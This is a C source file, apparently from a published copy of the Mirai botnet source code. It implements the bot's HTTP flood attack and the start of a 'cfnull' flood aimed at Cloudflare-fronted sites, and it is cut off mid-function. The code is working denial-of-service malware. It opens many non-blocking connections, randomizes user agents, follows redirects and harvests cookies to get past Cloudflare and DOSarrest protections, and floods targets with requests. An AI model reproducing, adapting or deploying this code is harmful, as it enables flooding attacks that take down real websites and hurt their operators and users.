Mirai-Source-Code/mirai/bot/attack_app.c

1176 lines
47 KiB
C
Executable File

#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include "includes.h"
#include "attack.h"
#include "rand.h"
#include "table.h"
#include "util.h"
void attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
}
void attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, ii, rfd, ret = 0;
struct attack_http_state *http_table = NULL;
char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL);
char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, "GET");
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, "/");
int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80);
char generic_memes[10241] = {0};
if (domain == NULL || path == NULL)
return;
if (util_strlen(path) > HTTP_PATH_MAX - 1)
return;
if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
return;
if (util_strlen(method) > 9)
return;
// BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING?
// yes it would segfault but we only update the values if they are not already uppercase.
// if the method is lowercase and its passed from the CNC we can update that memory no problem
for (ii = 0; ii < util_strlen(method); ii++)
if (method[ii] >= 'a' && method[ii] <= 'z')
method[ii] -= 32;
if (sockets > HTTP_CONNECTION_MAX)
sockets = HTTP_CONNECTION_MAX;
// unlock frequently used strings
table_unlock_val(TABLE_ATK_SET_COOKIE);
table_unlock_val(TABLE_ATK_REFRESH_HDR);
table_unlock_val(TABLE_ATK_LOCATION_HDR);
table_unlock_val(TABLE_ATK_SET_COOKIE_HDR);
table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR);
table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
table_unlock_val(TABLE_ATK_CHUNKED);
table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR);
table_unlock_val(TABLE_ATK_CONNECTION_HDR);
table_unlock_val(TABLE_ATK_DOSARREST);
table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX);
http_table = calloc(sockets, sizeof(struct attack_http_state));
for (i = 0; i < sockets; i++)
{
http_table[i].state = HTTP_CONN_INIT;
http_table[i].fd = -1;
http_table[i].dst_addr = targs[i % targs_len].addr;
util_strcpy(http_table[i].path, path);
if (http_table[i].path[0] != '/')
{
memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path));
http_table[i].path[0] = '/';
}
util_strcpy(http_table[i].orig_method, method);
util_strcpy(http_table[i].method, method);
util_strcpy(http_table[i].domain, domain);
if (targs[i % targs_len].netmask < 32)
http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));
switch(rand_next() % 5)
{
case 0:
table_unlock_val(TABLE_HTTP_ONE);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
table_lock_val(TABLE_HTTP_ONE);
break;
case 1:
table_unlock_val(TABLE_HTTP_TWO);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
table_lock_val(TABLE_HTTP_TWO);
break;
case 2:
table_unlock_val(TABLE_HTTP_THREE);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
table_lock_val(TABLE_HTTP_THREE);
break;
case 3:
table_unlock_val(TABLE_HTTP_FOUR);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
table_lock_val(TABLE_HTTP_FOUR);
break;
case 4:
table_unlock_val(TABLE_HTTP_FIVE);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
table_lock_val(TABLE_HTTP_FIVE);
break;
}
util_strcpy(http_table[i].path, path);
}
while(TRUE)
{
fd_set fdset_rd, fdset_wr;
int mfd = 0, nfds;
struct timeval tim;
struct attack_http_state *conn;
uint32_t fake_time = time(NULL);
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for (i = 0; i < sockets; i++)
{
conn = &(http_table[i]);
if (conn->state == HTTP_CONN_RESTART)
{
if (conn->keepalive)
conn->state = HTTP_CONN_SEND;
else
conn->state = HTTP_CONN_INIT;
}
if (conn->state == HTTP_CONN_INIT)
{
struct sockaddr_in addr = {0};
if (conn->fd != -1)
close(conn->fd);
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
continue;
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
ii = 65535;
setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = conn->dst_addr;
addr.sin_port = htons(dport);
conn->last_recv = fake_time;
conn->state = HTTP_CONN_CONNECTING;
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
#ifdef DEBUG
printf("[http flood] fd%d started connect\n", conn->fd);
#endif
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_CONNECTING)
{
if (fake_time - conn->last_recv > 30)
{
conn->state = HTTP_CONN_INIT;
close(conn->fd);
conn->fd = -1;
continue;
}
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_SEND)
{
conn->content_length = -1;
conn->protection_type = 0;
util_zero(conn->rdbuf, HTTP_RDBUF_SIZE);
conn->rdbuf_pos = 0;
#ifdef DEBUG
//printf("[http flood] Sending http request\n");
#endif
char buf[10240];
util_zero(buf, 10240);
util_strcpy(buf + util_strlen(buf), conn->method);
util_strcpy(buf + util_strlen(buf), " ");
util_strcpy(buf + util_strlen(buf), conn->path);
util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
util_strcpy(buf + util_strlen(buf), conn->user_agent);
util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
util_strcpy(buf + util_strlen(buf), conn->domain);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_KEEP_ALIVE);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
table_lock_val(TABLE_ATK_KEEP_ALIVE);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_ACCEPT);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
table_lock_val(TABLE_ATK_ACCEPT);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_ACCEPT_LNG);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
table_lock_val(TABLE_ATK_ACCEPT_LNG);
util_strcpy(buf + util_strlen(buf), "\r\n");
if (postdata != NULL)
{
table_unlock_val(TABLE_ATK_CONTENT_TYPE);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
table_lock_val(TABLE_ATK_CONTENT_TYPE);
util_strcpy(buf + util_strlen(buf), "\r\n");
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
util_strcpy(buf + util_strlen(buf), " ");
util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf));
util_strcpy(buf + util_strlen(buf), "\r\n");
}
if (conn->num_cookies > 0)
{
util_strcpy(buf + util_strlen(buf), "Cookie: ");
for (ii = 0; ii < conn->num_cookies; ii++)
{
util_strcpy(buf + util_strlen(buf), conn->cookies[ii]);
util_strcpy(buf + util_strlen(buf), "; ");
}
util_strcpy(buf + util_strlen(buf), "\r\n");
}
util_strcpy(buf + util_strlen(buf), "\r\n");
if (postdata != NULL)
util_strcpy(buf + util_strlen(buf), postdata);
if (!util_strcmp(conn->method, conn->orig_method))
util_strcpy(conn->method, conn->orig_method);
#ifdef DEBUG
if (sockets == 1)
{
printf("sending buf: \"%s\"\n", buf);
}
#endif
send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
conn->last_send = fake_time;
conn->state = HTTP_CONN_RECV_HEADER;
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_RECV_HEADER)
{
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_RECV_BODY)
{
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_QUEUE_RESTART)
{
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_CLOSED)
{
conn->state = HTTP_CONN_INIT;
close(conn->fd);
conn->fd = -1;
}
else
{
// NEW STATE WHO DIS
conn->state = HTTP_CONN_INIT;
close(conn->fd);
conn->fd = -1;
}
}
if (mfd == 0)
continue;
tim.tv_usec = 0;
tim.tv_sec = 1;
nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
fake_time = time(NULL);
if (nfds < 1)
continue;
for (i = 0; i < sockets; i++)
{
conn = &(http_table[i]);
if (conn->fd == -1)
continue;
if (FD_ISSET(conn->fd, &fdset_wr))
{
int err = 0;
socklen_t err_len = sizeof (err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err == 0 && ret == 0)
{
#ifdef DEBUG
printf("[http flood] FD%d connected.\n", conn->fd);
#endif
conn->state = HTTP_CONN_SEND;
}
else
{
#ifdef DEBUG
printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
#endif
close(conn->fd);
conn->fd = -1;
conn->state = HTTP_CONN_INIT;
continue;
}
}
if (FD_ISSET(conn->fd, &fdset_rd))
{
if (conn->state == HTTP_CONN_RECV_HEADER)
{
int processed = 0;
util_zero(generic_memes, 10240);
if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1)
{
close(conn->fd);
conn->fd = -1;
conn->state = HTTP_CONN_INIT;
continue;
}
// we want to process a full http header (^:
if (util_memsearch(generic_memes, ret, "\r\n\r\n", 4) == -1 && ret < 10240)
continue;
generic_memes[util_memsearch(generic_memes, ret, "\r\n\r\n", 4)] = 0;
#ifdef DEBUG
if (sockets == 1)
printf("[http flood] headers: \"%s\"\n", generic_memes);
#endif
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1)
conn->protection_type = HTTP_PROT_CLOUDFLARE;
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1)
conn->protection_type = HTTP_PROT_DOSARREST;
conn->keepalive = 0;
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1)
{
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL));
if (generic_memes[offset] == ' ')
offset++;
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
if (nl_off != -1)
{
char *con_ptr = &(generic_memes[offset]);
if (nl_off >= 2)
nl_off -= 2;
generic_memes[offset + nl_off] = 0;
if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL)))
conn->keepalive = 1;
}
}
conn->chunked = 0;
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1)
{
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
if (generic_memes[offset] == ' ')
offset++;
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
if (nl_off != -1)
{
char *con_ptr = &(generic_memes[offset]);
if (nl_off >= 2)
nl_off -= 2;
generic_memes[offset + nl_off] = 0;
if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)))
conn->chunked = 1;
}
}
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1)
{
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
if (generic_memes[offset] == ' ')
offset++;
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
if (nl_off != -1)
{
char *len_ptr = &(generic_memes[offset]);
if (nl_off >= 2)
nl_off -= 2;
generic_memes[offset + nl_off] = 0;
conn->content_length = util_atoi(len_ptr, 10);
}
} else {
conn->content_length = 0;
}
processed = 0;
while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX)
{
int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL));
if (generic_memes[processed + offset] == ' ')
offset++;
int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, "\r\n", 2);
if (nl_off != -1)
{
char *cookie_ptr = &(generic_memes[processed + offset]);
if (nl_off >= 2)
nl_off -= 2;
if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) > 0)
nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) - 1;
generic_memes[processed + offset + nl_off] = 0;
for (ii = 0; ii < util_strlen(cookie_ptr); ii++)
if (cookie_ptr[ii] == '=')
break;
if (cookie_ptr[ii] == '=')
{
int equal_off = ii, cookie_exists = FALSE;
for (ii = 0; ii < conn->num_cookies; ii++)
if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off))
{
cookie_exists = TRUE;
break;
}
if (!cookie_exists)
{
if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX)
{
util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr);
conn->num_cookies++;
}
}
}
}
processed += offset;
}
// this will still work as previous handlers will only add in null chars or similar
// and we specify the size of the string to stristr
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1)
{
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL));
if (generic_memes[offset] == ' ')
offset++;
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
if (nl_off != -1)
{
char *loc_ptr = &(generic_memes[offset]);
if (nl_off >= 2)
nl_off -= 2;
generic_memes[offset + nl_off] = 0;
//increment it one so that it is length of the string excluding null char instead of 0-based offset
nl_off++;
if (util_memsearch(loc_ptr, nl_off, "http", 4) == 4)
{
//this is an absolute url, domain name change maybe?
ii = 7;
//http(s)
if (loc_ptr[4] == 's')
ii++;
memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
ii = 0;
while (loc_ptr[ii] != 0)
{
if (loc_ptr[ii] == '/')
{
loc_ptr[ii] = 0;
break;
}
ii++;
}
// domain: loc_ptr;
// path: &(loc_ptr[ii + 1]);
if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
util_strcpy(conn->domain, loc_ptr);
if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
{
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
if (util_strlen(&(loc_ptr[ii + 1])) > 0)
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
}
}
else if (loc_ptr[0] == '/')
{
//handle relative url
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
}
conn->state = HTTP_CONN_RESTART;
continue;
}
}
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1)
{
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL));
if (generic_memes[offset] == ' ')
offset++;
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
if (nl_off != -1)
{
char *loc_ptr = &(generic_memes[offset]);
if (nl_off >= 2)
nl_off -= 2;
generic_memes[offset + nl_off] = 0;
//increment it one so that it is length of the string excluding null char instead of 0-based offset
nl_off++;
ii = 0;
while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9')
ii++;
if (loc_ptr[ii] != 0)
{
int wait_time = 0;
loc_ptr[ii] = 0;
ii++;
if (loc_ptr[ii] == ' ')
ii++;
if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=") != -1)
ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=");
if (loc_ptr[ii] == '"')
{
ii++;
//yes its ugly, but i dont care
if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '"')
(&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0;
}
wait_time = util_atoi(loc_ptr, 10);
//YOLO LOL
while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL))
sleep(1);
loc_ptr = &(loc_ptr[ii]);
if (util_stristr(loc_ptr, util_strlen(loc_ptr), "http") == 4)
{
//this is an absolute url, domain name change maybe?
ii = 7;
//http(s)
if (loc_ptr[4] == 's')
ii++;
memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
ii = 0;
while (loc_ptr[ii] != 0)
{
if (loc_ptr[ii] == '/')
{
loc_ptr[ii] = 0;
break;
}
ii++;
}
// domain: loc_ptr;
// path: &(loc_ptr[ii + 1]);
if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
util_strcpy(conn->domain, loc_ptr);
if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
{
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
if (util_strlen(&(loc_ptr[ii + 1])) > 0)
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
}
}
else if (loc_ptr[0] == '/')
{
//handle relative url
if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
{
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
if (util_strlen(&(loc_ptr[ii + 1])) > 0)
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
}
}
strcpy(conn->method, "GET");
// queue the state up for the next time
conn->state = HTTP_CONN_QUEUE_RESTART;
continue;
}
}
}
// actually pull the content from the buffer that we processed via MSG_PEEK
processed = util_memsearch(generic_memes, ret, "\r\n\r\n", 4);
if (util_strcmp(conn->method, "POST") || util_strcmp(conn->method, "GET"))
conn->state = HTTP_CONN_RECV_BODY;
else if (ret > processed)
conn->state = HTTP_CONN_QUEUE_RESTART;
else
conn->state = HTTP_CONN_RESTART;
ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL);
} else if (conn->state == HTTP_CONN_RECV_BODY) {
while (TRUE)
{
// spooky doods changed state
if (conn->state != HTTP_CONN_RECV_BODY)
{
break;
}
if (conn->rdbuf_pos == HTTP_RDBUF_SIZE)
{
memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN);
conn->rdbuf_pos -= HTTP_HACK_DRAIN;
}
errno = 0;
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret == 0)
{
#ifdef DEBUG
printf("[http flood] FD%d connection gracefully closed\n", conn->fd);
#endif
errno = ECONNRESET;
ret = -1; // Fall through to closing connection below
}
if (ret == -1)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
printf("[http flood] FD%d lost connection\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
conn->state = HTTP_CONN_INIT;
}
break;
}
conn->rdbuf_pos += ret;
conn->last_recv = fake_time;
while (TRUE)
{
int consumed = 0;
if (conn->content_length > 0)
{
consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length;
conn->content_length -= consumed;
if (conn->protection_type == HTTP_PROT_DOSARREST)
{
// we specifically want this to be case sensitive
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1)
{
int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11);
int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
conn->rdbuf[start_pos + (end_pos - 1)] = 0;
if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX)
{
util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos]));
util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), "=");
start_pos += end_pos + 3;
end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
conn->rdbuf[start_pos + (end_pos - 1)] = 0;
util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos]));
conn->num_cookies++;
}
conn->content_length = -1;
conn->state = HTTP_CONN_QUEUE_RESTART;
break;
}
}
}
if (conn->content_length == 0)
{
if (conn->chunked == 1)
{
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2) != -1)
{
int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2);
conn->rdbuf[new_line_pos - 2] = 0;
if (util_memsearch(conn->rdbuf, new_line_pos, ";", 1) != -1)
conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, ";", 1)] = 0;
int chunklen = util_atoi(conn->rdbuf, 16);
if (chunklen == 0)
{
conn->state = HTTP_CONN_RESTART;
break;
}
conn->content_length = chunklen + 2;
consumed = new_line_pos;
}
} else {
// get rid of any extra in the buf before we move on...
conn->content_length = conn->rdbuf_pos - consumed;
if (conn->content_length == 0)
{
conn->state = HTTP_CONN_RESTART;
break;
}
}
}
if (consumed == 0)
break;
else
{
conn->rdbuf_pos -= consumed;
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
conn->rdbuf[conn->rdbuf_pos] = 0;
if (conn->rdbuf_pos == 0)
break;
}
}
}
} else if (conn->state == HTTP_CONN_QUEUE_RESTART) {
while(TRUE)
{
errno = 0;
ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL);
if (ret == 0)
{
#ifdef DEBUG
printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\n", conn->fd);
#endif
errno = ECONNRESET;
ret = -1; // Fall through to closing connection below
}
if (ret == -1)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
conn->state = HTTP_CONN_INIT;
}
break;
}
}
if (conn->state != HTTP_CONN_INIT)
conn->state = HTTP_CONN_RESTART;
}
}
}
// handle any sockets that didnt return from select here
// also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
#ifdef DEBUG
if (sockets == 1)
{
printf("debug mode sleep\n");
sleep(1);
}
#endif
}
}
void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, ii, rfd, ret = 0;
struct attack_cfnull_state *http_table = NULL;
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
char generic_memes[10241] = {0};
if (domain == NULL)
return;
if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
return;
if (sockets > HTTP_CONNECTION_MAX)
sockets = HTTP_CONNECTION_MAX;
http_table = calloc(sockets, sizeof(struct attack_cfnull_state));
for (i = 0; i < sockets; i++)
{
http_table[i].state = HTTP_CONN_INIT;
http_table[i].fd = -1;
http_table[i].dst_addr = targs[i % targs_len].addr;
util_strcpy(http_table[i].domain, domain);
if (targs[i % targs_len].netmask < 32)
http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));
switch(rand_next() % 5)
{
case 0:
table_unlock_val(TABLE_HTTP_ONE);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
table_lock_val(TABLE_HTTP_ONE);
break;
case 1:
table_unlock_val(TABLE_HTTP_TWO);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
table_lock_val(TABLE_HTTP_TWO);
break;
case 2:
table_unlock_val(TABLE_HTTP_THREE);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
table_lock_val(TABLE_HTTP_THREE);
break;
case 3:
table_unlock_val(TABLE_HTTP_FOUR);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
table_lock_val(TABLE_HTTP_FOUR);
break;
case 4:
table_unlock_val(TABLE_HTTP_FIVE);
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
table_lock_val(TABLE_HTTP_FIVE);
break;
}
}
while(TRUE)
{
fd_set fdset_rd, fdset_wr;
int mfd = 0, nfds;
struct timeval tim;
struct attack_cfnull_state *conn;
uint32_t fake_time = time(NULL);
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for (i = 0; i < sockets; i++)
{
conn = &(http_table[i]);
if (conn->state == HTTP_CONN_RESTART)
{
conn->state = HTTP_CONN_INIT;
}
if (conn->state == HTTP_CONN_INIT)
{
struct sockaddr_in addr = {0};
if (conn->fd != -1)
close(conn->fd);
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
continue;
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
ii = 65535;
setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = conn->dst_addr;
addr.sin_port = htons(80);
conn->last_recv = fake_time;
conn->state = HTTP_CONN_CONNECTING;
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
#ifdef DEBUG
printf("[http flood] fd%d started connect\n", conn->fd);
#endif
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_CONNECTING)
{
if (fake_time - conn->last_recv > 30)
{
conn->state = HTTP_CONN_INIT;
close(conn->fd);
conn->fd = -1;
continue;
}
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_SEND_HEADERS)
{
#ifdef DEBUG
//printf("[http flood] Sending http request\n");
#endif
char buf[10240];
util_zero(buf, 10240);
//util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/l/chk_captcha HTTP/1.1\r\nUser-Agent: ");
util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/");
rand_alphastr(buf + util_strlen(buf), 16);
util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
util_strcpy(buf + util_strlen(buf), conn->user_agent);
util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
util_strcpy(buf + util_strlen(buf), conn->domain);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_KEEP_ALIVE);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
table_lock_val(TABLE_ATK_KEEP_ALIVE);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_ACCEPT);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
table_lock_val(TABLE_ATK_ACCEPT);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_ACCEPT_LNG);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
table_lock_val(TABLE_ATK_ACCEPT_LNG);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_CONTENT_TYPE);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
table_lock_val(TABLE_ATK_CONTENT_TYPE);
util_strcpy(buf + util_strlen(buf), "\r\n");
table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
